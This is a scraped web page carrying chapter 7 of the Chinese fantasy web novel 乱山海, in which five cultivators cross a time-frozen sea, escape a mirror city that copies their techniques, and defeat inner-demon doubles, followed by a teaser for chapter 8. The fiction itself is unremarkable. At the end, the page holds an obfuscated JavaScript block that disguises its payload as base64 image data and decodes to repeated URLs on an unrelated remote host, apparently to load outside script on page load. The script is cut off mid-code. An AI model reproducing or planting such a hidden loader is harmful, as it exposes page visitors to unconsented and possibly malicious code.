首页
乱山海/第七章 浮生渡,蜃楼
返回

乱山海/第七章 浮生渡,蜃楼破,心魔斩

章节报错(免登陆)

一秒记住【笔趣阁小说网】
biquge345.com,更新快,无弹窗!

    乱山海/第七章浮生渡,蜃楼破,心魔斩(第1/2页)
    -浮生海·时光凝固-
    修云五人立在海滩上,凝望着前方那片被称为“浮生海“的奇异水域。
    这里的海水不是水,是凝固的琥珀色光阴。厚重,澄澈,像时间本身沉淀了千年才凝成的泪。偶尔有记忆的碎片如游鱼般跃起,在半空划过一道流光,尾迹拖着未说完的誓言或未落下的泪,又悄然沉回深处。
    咸涩的海风里,不知藏着谁的笑声和叹息。远方的海市蜃楼中,正无声上演着从未发生过的悲欢——有人成婚,有人赴死,有人登仙,有人堕魔。真假难辨,却真实得让人心口发闷。
    “我们这是要登船过海么?“冉安辰指着前方搁浅的小船。
    那一叶小舟静静泊在岸边,船身无纹无饰,质地像木头又像玉石,隐隐有温润的光晕流转。
    “这船……“庄玉玄跃过去蹲下来摸了摸,“怎么看着像假的,摸着又像真的?“
    修云率先踏了上去,一番观察,示意队友们上船。
    船身触及海面的刹那,琥珀色的光阴荡开层层涟漪,涟漪里浮现出无数个“此刻“的倒影,一个套一个,像没有尽头的镜子迷宫。
    倒影里映出的不是他们现在的样子,而是从未经历过的童年:修云在树下禅修,沐青风练剑,庄玉玄追蝴蝶摔进泥坑,芊晗帮师姐编花环。那些不存在的嬉闹声在波光中摇曳,清脆得像真的。
    庄玉玄把流星锤放进船里,锤柄不慎沾到溅起的海水,开始快速锈蚀,铁屑簌簌剥落,可新生的金属又像春芽一样从锈迹里钻出来。锈了又新,新了又锈。他吓了一跳,赶紧把锤子缩小抱回怀里。沐青风的洪荒剑也溅上了几滴微不足道的水花,剑身自动出鞘三寸,剑锋上映出千百个自己——有仗剑天涯的孤侠,有归隐山林的樵夫,有坐镇宗门的长老。每一个都在不同的时空里,走不同的路,赴不同的死。他皱了下眉,“啪“地把剑按了回去。
    修云将浮世浮世幻梦珠悬在船头,清辉流转成一道朦胧的光罩。“都稳住心神,别碰水。“他低声说。
    话音才落,小船轻晃,芊晗的藤蔓不小心滑进了海里。藤尖在触水的瞬间开始疯长、开花、凋零,再疯长、再开花、再凋零。短短几个呼吸,那抹绿色像被按了快进键,在众人眼前把一生演了无数遍。芊晗手忙脚乱地把藤蔓拽回来,叶子还在不停地泛黄、不停地坠落。
    庄玉玄愣愣地看着那根蔫巴巴的藤蔓,咽了口唾沫:“这海水到底什么来头?竟能让沾上的一切飞速枯荣循环。“
    “不知道。“修云盯着水面,“但最好别碰。“
    “不过这船倒是安然无恙。“沐青风若有所思,沉吟道“海水对它没有作用。”
    几人闻言低头看向船板——确实,藤蔓碰水就疯长,锤子沾水就锈蚀,可这艘船行于海上,船身依旧温润如初,连个印子都没留下。
    “这材质看起来像玉又像木。“冉安辰蹲下来摸了摸,“不是普通的料。“
    “好像叫无忆木。具体我也只知道个名字。“修云想起一点零星的印象。
    “看不出什么端倪。“沐青风抬头环顾四周,船已经离岸好长一段距离,“不过大家还是小心些,海面的状况显然不止于此。“
    修云没说话,只是将灵珠的光罩又撑大了几分。
    轻舟行至海心,无数时间泡沫从四面八方围了过来,越聚越多。
    修云暗觉不妙,加强了防护:“大家小心,这些泡沫不对劲,竟主动迎了上来。“
    话音刚落,冉安辰的手腕不慎碰到一个。泡沫没有炸开,而是像活物一样贴了上去,紧紧裹住他的手腕,琥珀色的光纹顺着皮肤蔓延开来。蔓延到哪里,哪里就飞速衰老——皮肤皱成纸,头发白成雪,掌心的火焰弱得像风中残烛。他低头看着自己的手,声音都变了:“我……我才十六啊!“
    沐青风眉头一皱——他注意到泡沫贴上冉安辰的瞬间,时光的侵蚀是从接触点开始蔓延的,像毒素,却不是毒素。他想起刚才芊晗的藤蔓,触水即枯荣,但拽回来断开后就不再受侵蚀——二者之间是否存在某种关联?他一剑斩出,寒光精准切在泡沫与冉安辰手腕的贴合处。泡沫应声碎裂,蔓延的光纹像被掐断了根,迅速从冉安辰身上褪去,他的身体也随之恢复。指尖还留着冰凉的余韵,他盯着自己的手,好一会儿没说话。
    庄玉玄又被缠上了——一个泡沫蹭到他,里面映出前世的一幕:一个红衣少年倒在血泊里,手里还攥着他送的护身符。汹涌的愧疚感像潮水一样灌进脑子,他双目通红,踉跄扑向船边,嘶吼着:“对不起!我真的不是故意的!“整个人差点翻进海里。修云和沐青风一左一右拽住他的胳膊,费了好大劲才把人拉回来。
    “这鬼地方……“修云喘了口气,话没说完就顿住了。
    泡沫越聚越多,开始相互融合,形成一个巨大的记忆漩涡。漩涡里浮现出五人前世的纠葛——原来他们曾因争夺一件叫“时晷“的时空至宝而同归于尽。泡沫里的亡灵伸出苍白的手,朝他们抓来。沐青风的洪荒剑开始震颤,剑尖竟缓缓转向他自己。庄玉玄刚缓过来,又看见那个红衣少年,手脚冰凉,却说不出话。
    修云一边稳住灵珠,一边拼命寻找破绽。他的目光扫过船边,一个泡沫刚好被船头撞上,没有缠附,没有蔓延,只是无声地碎了,像泡影一样消散。
    他一愣——刚才被泡沫围困时,只顾着躲,没注意过船身与泡沫的接触。现在细看,船头压过的泡沫确实都消散了——不是偶然,每一次都是。
    “这船……“修云低头看着脚下的船板,忽然想起一个细节:从登船到现在,船身从未被泡沫纠缠过。不是泡沫没撞上来,是撞上来的都碎了。
    他眼睛一亮:“无忆木克制它们!所有人,身体紧贴船板!“
    五个人同时伏下身,掌心紧紧贴住温润的船板,一股清凉之意顺着指尖直透心口,将脑海中嘈杂的嘶吼尽数抚平。
    沐青风深吸一口气,他想起他曾在宗门藏经阁中读过一篇残卷,记载上古剑修以剑意为媒、斩断因果羁绊的法门——此刻他别无选择。剑尖轻点,在船身刻下一道“斩缘“符印。凛冽的符光如刃破水,所过之处,那些纠缠不休的泡沫如潮水般向两侧退散。
    冉安辰将烬魂火焰凝于掌心,化作一道纯净至极的金焰,以极致的高温灼烧出一条狭窄却稳固的通道。芊晗咬着牙催动枯荣禅意,她无法对抗泡沫中的时间洪流,却能借枯荣之感捕捉其中时间的流向——哪里在衰亡,哪里便通向出口。她的发丝在瞬息间由乌黑转为雪白,又顷刻间恢复少女的青丝,但手中指引方向的藤蔓,始终稳如磐石。
    终于,小船带着呼啸的风声,从密不透风的泡沫阵中冲了出来。
    海面上方,漂浮着最大的一枚记忆泡沫,静静悬在船首不远处。修云缓步上前,用浮世幻梦珠轻轻触了上去。刹那间,整片浮生海仿佛被按下了暂停键,骤然凝固。所有流动的泡沫停止了翻涌,亿万光影汇聚交融,化作一道璀璨夺目的光桥,从船头一直铺向遥远的彼岸。
    桥上浮现出他们今生并肩而行的身影,脚下踏着前世的灰烬,前方通向未知的黎明。
    ---蜃楼城·镜像战场-
    蜃楼城静静悬浮在浩瀚云海之巅,远看如海市蜃楼般缥缈难寻。走近了,才惊觉这座城郭竟全然由光影砌筑而成,琉璃瓦如同活物般微微起伏,脚下的街道好似融化的琥珀,每一步踏下都会荡开圈圈透明的涟漪。
    几人朝城门走去。
    “奇怪了,这路……“庄玉玄低头看着脚下荡开的波纹,“怎么跟踩在水面上似的?“
    芊晗叹了口气:“这里有什么不奇怪的才怪呢。“
    话音刚落,涟漪深处忽然闪过一个陌生人的倒影,一闪即逝。她愣了一下:“你们看到了吗?“
    “看到了。“沐青风眉头微皱,“只见倒影未见其人,玄乎。“
    五人面面相觑,修云蹲下来伸手摸了摸琉璃般地面,指尖触及的却是坚硬的石板。他站起身,若有所思:“这城似在'回放'什么?“
    “你确定?“沐青风摇头,“我怎么感觉不像是回放。“
    话音未落,城门无声开启。他们刚踏进去,脚下的琉璃突然荡漾开来,化成青石板路。沐青风脚步一顿,低头看了好一会儿,那青苔的纹路,那石板的色泽,竟与故乡星江旧街分毫不差。
    “这里似曾相识,莫非——“他的神色一凛,沉声道:“是我家的老街。“
    话音刚落,街角的空气开始扭曲,几根梅花桩从地下破土而出,歪歪斜斜地立在那里。修云愣了一瞬,那是他童年练功的木桩,连桩身上被雨水浸出的霉斑都一模一样。
    “不妙!“他猛地一顿,抬头吩咐道:“这城在读取我们的记忆,别想任何具体的东西!“
    沐青风苦笑:“晚了,进城时我们就被看透了。“
    庄玉玄闻言甩了甩头,把脑子里那些乱七八糟的画面赶出去。可就在他分神的瞬间,路边的墙壁突然渗出十几个握着流星锤的虚影,连他舔嘴唇的小动作都学得一模一样。锤风呼啸,竟比他还快半拍。
    “我靠!“他连退数步,“这什么情况?镜像攻击?“
    “它们在模仿我们!“芊晗的藤蔓刚探出就被复制,数十条复制藤蔓如毒蛇反缠过来,她脸色一惊:“不对,不止模仿,看样子可能要替代我们!“
    “别用完美招式!“修云想起之前的经历,很快得出对策,他一边抵挡一边喊道,“用错的、乱的、不成章法的!“
    “好,我试试看。”芊晗心念一转,故意使出一个漏洞百出的蹩脚法术。藤蔓歪歪扭扭,结印手抖如筛糠,连咒语都念错三个字。虚影们竟突然僵住了,像坏掉的木偶,有的原地转圈,有的锤子掉地,有的火焰喷到自己脸上。
    “真的有效!“修云眼睛一亮,“大家都按这样的思路来!“
    战术瞬间逆转:庄玉玄扔掉锤法,改用毫无章法的横扫竖劈。沐青风收起剑招,使出孩童打架般的胡乱挥砍。冉安辰故意把火球捏得歪歪扭扭,有的飞一半就灭,有的炸成烟花。虚影阵营彻底乱了套,有的模仿新招式时当场死机,有的在“完美模式“与“拙劣模式“间来回切换,身体拧成麻花。
    五人趁着虚影崩溃的空隙,沿着街道疾冲向城中心。
    庄玉玄跑着跑着,忽然注意到一件事:“你们有没有发现,我们都没有影子?“
    众人低头一看,果然。阳光从头顶直直照下来,地上干干净净,什么都没有。
    冉安辰幽幽地说:“影没了,还是人么?“
    芊晗沉默了片刻,轻声说:“该不会……影被留在这里了。“
    “也有可能,影子被利用来攻击我们?”沐青风沉吟道。
    众人一怔,随即加快了脚步,沉默中只有脚步声在空荡荡的街道上回响。
    下一个转角,又来了。
    庄玉玄下意识握紧流星锤,两侧墙壁立刻渗出一批虚影。但这一次,它们没有急着出手,而是静静站着,像在等他。
    “不对劲。“庄玉玄一时间没敢动。
    他不动的瞬间,虚影也没动。他试探性地往前迈了一步,虚影齐刷刷往前迈了一步,步伐一致,节奏相同。
    “它们不是在模仿动作。“沐青风的声音沉了下来,“它们在读我们的意图——我们还没出手,它们就已经知道我们要往哪走。“
    庄玉玄咬了咬牙,猛地挥出一锤。虚影在同一瞬间出手,不是模仿他的招式,而是直接封住了他的攻击路线。锤风呼啸,他的招式还没使全,就被逼了回去。
    “比之前那批聪明。“芊晗的藤蔓刚探出,虚影的藤蔓已经缠上了她的手腕,仿佛早就知道她会从哪个角度出手。
    冉安辰的火焰还没凝聚,对面已经飞来几团火球,封死了他所有的退路。他被迫收手,踉跄后退。
    “它们已经不学我们了。“修云盯着那些虚影,额角渗出冷汗,“它们把我们看透了。“
    瞬息之间,整座城变成了另一种战场。不是镜像,是陷阱——它们不是在模仿他们,而是在替他们预演所有可能的出招,然后提前封死每一条路。他们打得束手束脚,越打越憋屈。
    “这样下去不行!“庄玉玄一拳砸空,喘着粗气,“它们比我们还了解我们!“
    芊晗缩回藤蔓,盯着那些虚影。她忽然注意到一个细节——第一批虚影被乱打破解后,第二批虚影并没有复制他们的乱打,而是直接预判了他们的攻击路线。
    “它们在学习。“芊晗沉声道,“第一批只会模仿,第二批学会了预判。如果我们再用乱打,第三批就会学会破解乱打。“
    “那怎么办?“冉安辰问。
    “用它们没见过的东西。“修云盯着城中心的方向,“别用功法,用最原始的东西,用手。“
    芊晗第一个反应过来,弯腰拔起一块地砖就砸了过去。沐青风收起洪荒剑,用剑鞘猛捅。冉安辰捡起地上的碎琉璃当飞镖。庄玉玄脱下穿了三天的臭靴子,龇牙咧嘴地扔向虚影:“给老子尝尝人间烟火!“修云搬起半截梅花桩当狼牙棒,狠狠砸了下去。
    毫无章法、毫无灵力的物理攻击如暴雨般砸向虚影。虚影们彻底乱了——它们能预判灵力波动,却无法解析这些“没有模式“的攻击,有的提前封堵了错误的位置,有的做出了错误的应对,彼此撞在一起,纷纷崩溃。
    沿着虚影崩溃后让出的通路,五人冲到了城中心的镜殿。殿内空无一物,只有一个不断重组的光影漩涡悬浮在半空。
    修云盯着它看了几息——他注意到,漩涡吸收了他们刚才战斗时散逸的灵力波动,每一次重组都在复刻新的攻击模式。
    “这就是虚影的源头。“修云沉声道,“继续用物理攻击。“
    五人再次捡起地上的碎砖、断木、琉璃碎片,朝漩涡砸去。漩涡无法解析这些“没有模式“的攻击,发出玻璃破碎的脆响,砰地炸成漫天光屑。
    整座蜃楼城开始崩塌——琉璃瓦片化作光尘,街道如雾消散。那些残存的虚影没有挣扎,反而对五人微微躬身,像解脱一样化作青烟。
    冉安辰喘着气,看着那些消散的身影:“好奇怪,我们用最蠢的方式赢了。“
    其他人笑而不语,庄玉玄倒是看得仔细,指着最后几个消散的虚影:“他们为什么向我们鞠躬?“
    沐青风收了剑,淡然回道:“谁知道呢。或许是被困在这里的亡灵,终于解脱了吧。“
    庄玉玄挠了挠头,还想再问什么。芊晗推了他一把:“走了,再磨蹭城塌了把你埋进去。“
    几人这才回过神来,沿着尚未完全消散的道路快步向前。身后,蜃楼城如雾般散去,像从未存在过。
    -心魔渊·直面恐惧-
    五人行至心魔渊时,脚下雾气涌动,看上去有些诡异。
    庄玉玄伸脚探了探,缩回来时鞋尖上缠着一缕挥之不去的灰烟:“这雾怎么还缠上了?”
    它贴着地面蠕动,雾气深处偶尔闪过细碎的光,不是光源,像是某种东西在雾里睁开了眼。
    (本章未完,请点击下一页继续阅读)乱山海/第七章浮生渡,蜃楼破,心魔斩(第2/2页)
    芊晗皱了皱眉:“这地方不对劲,太安静了。”
    冉安辰挠了挠头:“是啊,从踏入渊口的那一刻起,连风都消失了。”
    “那是什么?”修云眯起眼,抬手指向前方。灰雾深处,隐约立着五道身影,一动不动,像是被钉在原地的人偶。
    沐青风的手已经按上了剑柄,下一秒,那五道身影同时动了,瞬间出现在他们面前。
    五个人,五张脸。
    “怎么回事?”五人都愣了,各自面前都站着一个一模一样的自己。
    “这难道是——心魔分身?”修云的声音骤然冷了下来,“它们——它们在干嘛呢?”
    几乎同时,五人异口同声:“你是谁?这是干嘛?”
    话音未落,五个分身同时开口,表情各异,语气玩味:“我是你内心最最弱的写照。”
    “放屁,少在这装神弄鬼!给我滚!”修云怒斥。
    “我既非神亦非鬼,你怕什么,我就变成什么。”
    灰雾猛然暴涨,将五人吞没。
    庄玉玄的分身没有攻击他,凝视了他三秒,然后背对他坐在石头上仰天长叹。
    “活的真累,我干嘛整天戴着嬉皮笑脸,我也是个敏感脆弱的人,我害怕失去,我害怕输。”
    庄玉玄的心神一凝,拳头攥紧了。
    “我嘴上说不在乎,可我心里很在乎。”
    “闭嘴。”
    “我怕自己虚有其表,内心不堪一击,脆弱敏感。”
    庄玉玄暴喝一声,一拳轰向分身。分身纹丝不动,那一拳像是打进了棉花里,力道被吞得干干净净。
    “你看,你急了。”分身笑了,“所以,我说的没错吧?”
    分身的话语持续输出,随呼吸沁入他心田,让他内心不知不觉产生共鸣。
    庄玉玄的拳头开始发抖,不是因为恐惧,而是因为愤怒——对自己被看穿的愤怒。他想反驳,可每一个字都像是从他自己的骨缝里挤出来的,他深信不疑,那些话全都是他深夜独处时才敢想的念头。
    他挥拳发泄——动作越来越乱,招式越来越散。不是因为他失了章法,而是因为每一次出拳都在动摇——他在打一个不会还手的人,而那个人说的每一个字,他都无从反驳。挫败感像毒液灌入四肢百骸,他忽然不知道该恨的是这个分身,还是那个不敢承认的自己。
    “废物。”分身轻声说。
    庄玉玄的瞳孔骤然收缩。他不再出拳,而是直接扑了上去,用头撞、用牙咬、用指甲抠——他已经不是在战斗,而是在发疯。
    ---
    冉安辰的分身没有说话,只是站在那里,周身燃着一层暗红色的火焰。那火焰映出冉安辰内心深处最不愿面对的画面:业火失控,焚尽一切,他失手误伤同伴,芊晗倒在焦土中,庄玉玄、修云、沐青风的身影在烈焰中化为灰烬。
    “放弃吧,你控制不了它。”分身终于开口,声音像从火堆里捞出来的,“你越想控制,它就越失控。”
    似乎在印证他的判断,冉安辰的业火开始不受控制地外溢。他拼命压制,可每一次压制都像是在往火堆里添柴。火焰从他的指尖蔓延到手腕、手臂,灼烧着他的经脉。
    “停下来……”他咬着牙,额头青筋暴起。
    “停不下来的。”分身走近一步,暗红色的火焰与冉安辰的业火融为一体,“除非——废了这些坑人的功法与修为,这是你唯一的选择。”
    “信了你个鬼!”冉安辰的双眼开始泛红,他不再压制火焰,而是放任它吞噬一切——既然控制不了,那就烧吧。烧光一切,就不需要再控制了。
    他抬起手,业火化作一道火墙,朝芊晗的方向轰去。
    芊晗是被那道火墙惊醒的,她本能地催动森罗万象,毒藤破土而出,在她面前织成一面密不透风的藤盾。业火撞上藤盾,发出刺耳的嘶鸣,毒藤一寸寸焦黑、卷曲、断裂。
    “芊晗!”冉安辰的声音从火海深处传来,沙哑而陌生,像是另一个人。
    芊晗看着他的眼睛——那双眼睛里没有冉安辰,只有一片燃烧的虚无。
    她的心猛地一沉,她的分身就站在她身侧,安静地看着这一切,嘴角挂着一丝若有若无的笑。
    “你救不了他。”分身轻声说,“就像你救不了任何人。你的力量只够催生,不够守护。”
    芊晗的手在发抖,毒藤从她脚下疯长,不受控制地朝四面八方蔓延,将周围的一切绞碎、吞噬。她分不清那些藤蔓是在保护她,还是在替她发疯。
    “同伴们一个个身陷囹圄,你却无能为力,是不是心急如焚?”修云的分身木无表情,形神飘忽,审视的语气。
    “你不是想救所有人吗?”分身手中托着一颗一模一样的浮世幻梦珠,不过颜色是血红色,“这颗珠子可以。”
    修云的瞳孔微缩。
    “但它有一个条件。”分身将珠子递到他面前,“你选一个人死,其他人就能活。”
    修云神色一顿:“别跟我开玩笑。”
    “你不选?”分身笑了,“那你只能看着他们一个个死在你面前。”
    话音落下,修云眼前一股股血腥之息扑面而至——沐青风断剑跪地暴毙,庄玉玄死无全尸散落在血泊中,冉安辰焚身成灰,芊晗被毒藤绞碎。每一幕都无比真实,让人神魂失守。
    他的手指开始颤抖——血红色的浮世幻梦珠就悬在他面前,触手可及。
    “选吧。”分身说,“你算得那么精,应该知道怎么选最划算。”
    修云闭上了眼,他伸出手——
    “修云!”
    一声暴喝将他从深渊中拽了回来——沐青风站在灰雾中,浑身是伤,嘴角淌着血,但眼神清明得可怕。
    修云猛地睁开眼,发现自己手中空空如也。浮世幻梦珠不见了,分身也不见了。只有沐青风,一手按在他的肩上,另一只手握剑,剑尖抵着地面。
    “差点着了心魔主的道。”沐青风的声音很沉,“幸好我把你心魔砍了。”
    “我……”
    “别说了。”沐青风打断他,“它们读的是你最怕的东西——你怕做选择,怕选了之后后悔。所以它给你一个‘怎么选都对’的选项,让你自己跳进去。”
    “原来如此。”修云深吸一口气,强迫自己冷静下来。
    “你怎么醒的?”
    沐青风沉默了一瞬。
    “误打误撞。”他说,“我的分身告诉我,我信的人迟早会背叛我,然后你们一群人跑来自证清白,然后又感觉个个心怀不轨。”
    “然后呢?”
    “我气急了,一通乱砍。”沐青风看了他一眼,“一个不经意伤到了看热闹的分身,切断了他与心魔渊的联系,恢复神智的我很快就了断了他。”
    修云怔住了,沉吟道:“所以……是心魔渊在制造这些分身蛊惑我们心智,制造冲突,让我们困死其中。”
    “差不多。”沐青风握紧了剑,“不说了,赶紧去解救三个弟妹。”
    灰雾深处,庄玉玄的怒吼声、冉安辰的业火呼啸声、芊晗的毒藤撕裂声交织在一起,越发疯狂。
    他们二人先找到了庄玉玄。
    他正跪在地上,拳头一下一下砸着地面,嘴里反复念叨着:“废物、废物、废物……”分身站在他面前,双手抱臂,一脸漠然。
    二人观察一番,遂有了决策。沐青风走上前,站在庄玉玄和分身之间,背对庄玉玄,面向那个分身。
    “庄玉玄。”他喊了一声,庄玉玄没应。
    “庄玉玄!”沐青风提高了声音,“你上次输给我,哭了三天,第四天跑来跟我打回来。你还记得吗?”
    庄玉玄的嘴唇哆嗦了一下,抬起头,看了看面前的分身,又看了看沐青风。
    “你……不会笑我?”
    “我什么时候笑过你?”
    “别信他。”分身忽然串进来,声音像从井底浮上来的寒气,“这是幻象,他在试图扰乱你心神。你忘了我是谁?我就是你,这世上只有我不会骗你。”
    一番陈词下,庄玉玄的眼神又开始涣散。
    就在他视线将要偏离沐青风的一瞬,分身的眉心忽然绽开一道裂纹,尖锐的嘶鸣从裂口喷出,整个身形剧烈扭曲、崩解。
    修云从暗处收回手,指间一缕乌光消散。
    “切入点找了好久。”他吐了口气,“这玩意儿藏得深。”
    庄玉玄像是被人从水底一把拎了起来,瞳孔骤然聚拢。他低头看了看自己砸到发红的手背,又看了看分身崩散后地上残留的那一圈淡淡痕迹。
    他张了张嘴,好半天才挤出一句:“这东西……太他妈瘆人了。”
    冉安辰的业火已经失控到了极点,方圆数十丈内寸草不生。芊晗被毒藤护在中央,勉强挡住了火势,但藤盾正在一寸寸被烧穿。
    修云站在火墙外,飞速推演。
    “他的心魔是‘失控’。”修云说,“越压制越失控,越失控越恐惧,越恐惧越压制——死循环。”
    “那就不压制。”沐青风说。
    “你说得轻巧。他现在被牵连的比庄玉玄还深,怕是听不进去任何话。”
    沐青风沉默了一瞬,收剑入鞘,直接走进了火墙。
    “沐青风!”修云低喝。
    业火灼烧着他的衣袍和皮肤,但他没有退。他一步步走到冉安辰面前,伸出手,按在了冉安辰的肩上。
    “安辰。”他说,“火不是你的敌人。”
    冉安辰的眼睛红得可怕,业火顺着沐青风的手臂往上爬。
    “你疯了——”冉安辰的声音沙哑得不成样子,“快走开!”
    “我不走。”沐青风说,“你怕失控,但你从来没试过不控制它。你试过吗?”
    冉安辰愣住了。
    “放开手。”沐青风的声音很平静,“不是放弃,是信任。信任你的火,也信任你自己。”
    冉安辰的嘴唇在发抖,业火在他和沐青风之间疯狂翻涌,像一头被激怒的野兽。
    另一边,分身依旧在煽风点火,持续加码。修云无法切断分身与冉安辰的联系,借力浮世幻梦珠和因果嫁接,找准时机拖住了分身,减弱它的神识控制。
    在沐青风和修云的努力下,冉安辰闭上眼,松开了所有灵力。
    火焰在他周身肆虐了一瞬,然后——像是终于被允许呼吸了一样——缓缓平息下来。暗红色的火光渐渐转为温暖的橙金色,不再是吞噬一切的烈焰,而是一圈柔和的光晕。
    冉安辰睁开眼,看着自己的手掌。火焰安静地缠绕在指尖,温顺如常。
    而此刻,冉安辰的分身在火焰中发出一声凄厉的尖叫,化为灰烬。
    五人重新聚拢,但灰雾没有散去。
    渊底深处,一个声音缓缓响起——不是从某个方向传来,而是从他们每个人的脑海中同时响起。
    “不错,竟能破了我的分身阵法。”
    灰雾猛然收缩,在五人面前凝聚成一道巨大的身影。那身影没有固定的面孔,每一瞬都在变化——时而是他们的脸,时而是一张张陌生的面孔。
    “但你们以为,分身就是全部?”
    话音未落,地面开始震颤,脚下的灰雾化作无数细线,从五人的脚底钻入,直刺识海。
    “心魔灭魂阵。”修云的脸色骤变,“它在直接攻击我们的神识!”
    庄玉玄闷哼一声,单膝跪地。他的识海最薄弱——刚才被分身重创的心智还没有完全恢复,此刻被灭魂阵一冲,眼前的景象开始扭曲。
    “又来了……”他咬着牙,“又是那个声音……”
    “稳住心神。”沐青风一把按住他的肩,“它说的每一个字都是假的。”
    “可如果……”庄玉玄的声音在发抖,“如果它说的是真的呢?”
    “那就等打完这一仗再想。”沐青风说,“现在不是审判自己的时候。”
    冉安辰的业火再次躁动起来,但这一次他没有压制,而是将火焰化作一道屏障,护住所有人的脚下,将那些灰雾细线烧断。
    芊晗的毒藤破土而出,不再是疯狂蔓延,而是精准地编织成一张巨网,将灭魂阵的灰雾细线一一缠住、绞碎。
    修云闭上眼,全力推演。
    “灭魂阵的核心不在阵中。”他睁开眼,目光锁定那道巨大的身影,“在它身上。它用分身读取了我们的心智,那些数据就是它的阵眼——它越了解我们,阵就越强。”
    “所以?”沐青风问。
    “所以,”修云的声音冷了下来,“我们做一件它算不到的事。”
    五人对视一眼,随即是庄玉玄大笑一声,张开双臂,朝那道身影冲了过去。
    那道身影愣住了——它读取到的是庄玉玄的恐惧,可庄玉玄此刻没有恐惧,只有一股不管不顾的莽劲。
    冉安辰的业火紧随其后,不是轰向身影,而是将庄玉玄整个人包裹在火焰中——不是灼烧,而是护持。
    芊晗的毒藤从地下破出,缠住那道身影的四肢,将它牢牢钉在原地。
    修云的浮世幻梦珠绽放出刺目的白光,将所有人的神识连成一线。
    而沐青风——他站在最前面,剑已出鞘。
    “你算得到我们的恐惧。”他说,“但你算不到我们愿意为彼此犯傻。”
    一剑斩下,那道身影发出一声尖锐的嘶鸣,从正中裂开。裂缝中涌出无数灰雾,像被戳破的脓包,疯狂外泄。
    灭魂阵崩了,灰雾如潮水般退去,露出渊底真正的模样——一片荒芜的灰色平原,中央悬浮着一面完整的镜子。
    五人气喘吁吁地站在原地,衣衫凌乱,伤痕累累,但每个人的眼神都比来时澄澈了几分。
    “走吧。”修云率先迈步。
    镜子化作粼粼波光,通往下一关的道路在波光深处缓缓显现。
    ---
    【第8节预告:双月峡谷·时空沙漏】
    双月峡谷,时间沙海。流沙杀手如潮涌来,五人背靠背,在颠倒的天地间杀出一条血路。
    沙化古神拔地而起,咆哮震天。三重漩涡横亘虚空——过去凝固如碑,现在摇曳如焰,未来混沌如渊。覃一川圣龙之眼金芒流转,窥见那游离于三界之外的纤细丝线。
    “跟紧我。”
    时间悖论锁、时空镜像阵、时序闭环——三重考验,层层绞杀。
    当最诡谲的时序闭环降临,五人被困在无尽的轮回中,记忆如沙粒般流逝,体力一分分耗尽。
    就在绝境之际,一双璀璨的金色羽翼破开维度——
    一个陌生的金翼男子从光洞中跃出,低头在覃一川肩上留下一个渗血的齿痕。
    “哥,我在羽国等……”
    话音未落,他化作金色碎片,消散在虚空中。
    熊柒目瞪口呆:“他是谁?现在的告别都这么……别致吗?”
    而那枚齿痕,正发出灼热的光芒。
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="n5jzanf3om";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"Z!qYF 58JcOHc2YD 